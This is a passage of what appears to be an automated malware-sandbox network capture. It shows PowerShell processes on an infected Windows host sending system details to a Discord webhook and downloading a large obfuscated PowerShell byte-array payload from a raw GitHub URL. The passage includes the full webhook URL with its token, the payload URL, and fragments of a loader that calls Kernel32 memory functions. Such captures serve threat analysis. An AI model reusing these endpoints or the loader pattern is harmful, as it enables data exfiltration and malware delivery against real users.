2024-09-16 06:22:27 UTC	311	OUT	POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 06:22:27 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 4b 58 38 4f 52 52 53 56 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: KX8ORRSV\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 06:22:27 UTC	1352	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 06:22:27 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0bb2f47673f411efb3bdb28dc8ce2528; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1726467749 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yM0jzwwF7J8Ucmg67e0Kafnr%2Bh6KOHSSYpW4ot5jCCGLnRDTYMB%2F7o1Ihd1RaRG54qch0QlM358VnX6m9SqA5qzCZ3f8GzwIST8CdDVc3OqYux1SxbOhEtsGBsF8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0bb2f47673f411efb3bdb28dc8ce2528016fb796631ecec174935bb048573b5e8a82fc6a2618fd70f73df43ba633e4a4; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8f38632afa43523814221be2f01260005d17761a-1726467747; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 06:22:27 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 38 54 6e 64 57 76 30 33 4c 63 39 64 34 30 6d 4a 55 37 42 4b 6a 4a 73 59 32 62 68 58 4d 42 48 43 43 6b 45 44 44 59 68 61 4d 39 38 2d 31 37 32 36 34 36 37 37 34 37 37 33 38 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 33 65 63 33 31 65 61 39 35 30 37 63 37 63 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=8TndWv03Lc9d40mJU7BKjJsY2bhXMBHCCkEDDYhaM98-1726467747738-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c3ec31ea9507c7c-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49716	162.159.138.232	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:27 UTC	311	OUT	POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 06:22:27 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 4b 58 38 4f 52 52 53 56 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: KX8ORRSV\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 06:22:27 UTC	1356	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 06:22:27 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0bafd3c273f411efa8b7b28dc8ce2528; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 2 x-ratelimit-reset: 1726467749 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W%2FZ36TadqkqM0bRTTHrE4TcULC0WRmEepcdX%2BIGWKO%2BY486yu9X5MQAVPybrpO6wJsUwtA6mS%2Bn1XDhWTIjugIZz7p9aqQUnUxpqe17E4c2m7kmRTuuGAQI3huci"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0bafd3c273f411efa8b7b28dc8ce2528f5ff0ce50f41476c495cfb50761e7f73cee913f7fecfbed2e7a9b86edfe45727; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8f38632afa43523814221be2f01260005d17761a-1726467747; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 06:22:27 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 57 5f 5f 61 41 4d 59 2e 41 74 30 41 62 6d 73 71 6b 72 65 31 67 5a 33 6c 4b 33 4b 65 44 74 75 53 53 2e 5f 45 62 6e 4f 6b 51 71 55 2d 31 37 32 36 34 36 37 37 34 37 37 31 37 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 33 65 63 33 31 65 39 63 38 33 34 32 34 31 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=W__aAMY.At0Abmsqkre1gZ3lK3KeDtuSS._EbnOkQqU-1726467747717-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c3ec31e9c834241-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49734	185.199.109.133	443	4400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	905	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 60AD:1C6B4D:6074A8:6B74DC:66E7CEAC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740060-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726467758.764662,VS0,VE123 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: fd38a8a3ca67a36bbf832f85919fa0c86f6b5ca3 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49735	185.199.109.133	443	380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 60AD:1C6B4D:6074A8:6B74DC:66E7CEAC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740051-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726467758.771817,VS0,VE116 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 4dd92c7de60767389dad64f2d3175e910ab3f498 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
